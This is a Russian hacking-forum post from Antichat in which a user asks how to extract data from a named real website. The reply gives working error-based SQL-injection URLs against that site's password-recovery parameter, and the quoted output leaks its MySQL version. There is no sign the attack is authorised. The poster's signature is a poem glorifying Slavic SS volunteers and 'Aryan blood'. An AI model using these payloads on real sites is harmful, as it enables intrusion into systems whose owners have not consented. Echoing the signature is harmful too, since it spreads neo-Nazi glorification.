ANTICHAT - Показать сообщение отдельно - Ваши вопросы по уязвимостям.

Цитата:

Сообщение от MastaBass1

Помогите,имеется сайт http:/ /www.ollis.ru/ ,там на каждой странице при кавычке ошибка такая:
SELECT * FROM _prop WHERE obj_type='block_page' and obj_id IN ('1'') - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'')' at line 1
SELECT * FROM _prop WHERE obj_type='html_page' and obj_id IN ('block_page1'') - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''block_page1'')' at line 1

Как не пробовал вытащить информацию(пробовал order by, union select),никак не получается!Помогите как вытаскивать?
Знаю что база 5.0.22

http://www.ollis.ru/index.php?id=cabinet')+order+by+7%23&type=cabinet& action=lost_pw&mode=return_from_hidden

http://www.ollis.ru/index.php?id=cabinet')+and+(1,2)=(Select*From(Sele ct+Name_Const(version(),1),Name_Const(version(),1) )a)%23&type=cabinet&action=lost_pw&mode=return_fro m_hidden

Цитата:

Duplicate column name '5.0.22'

__________________
В сырых могилах Второй Мировой
Солдатам снятся цветные сны.
Их кости порой видны под первой травой,
Когда сойдет снег в начале весны.
Славяне тоже сражались в отрядах СС
За чистоту арийской крови.
Теперь они дремлют за чертою небес,
Но снова встанут на бой, лишь позови.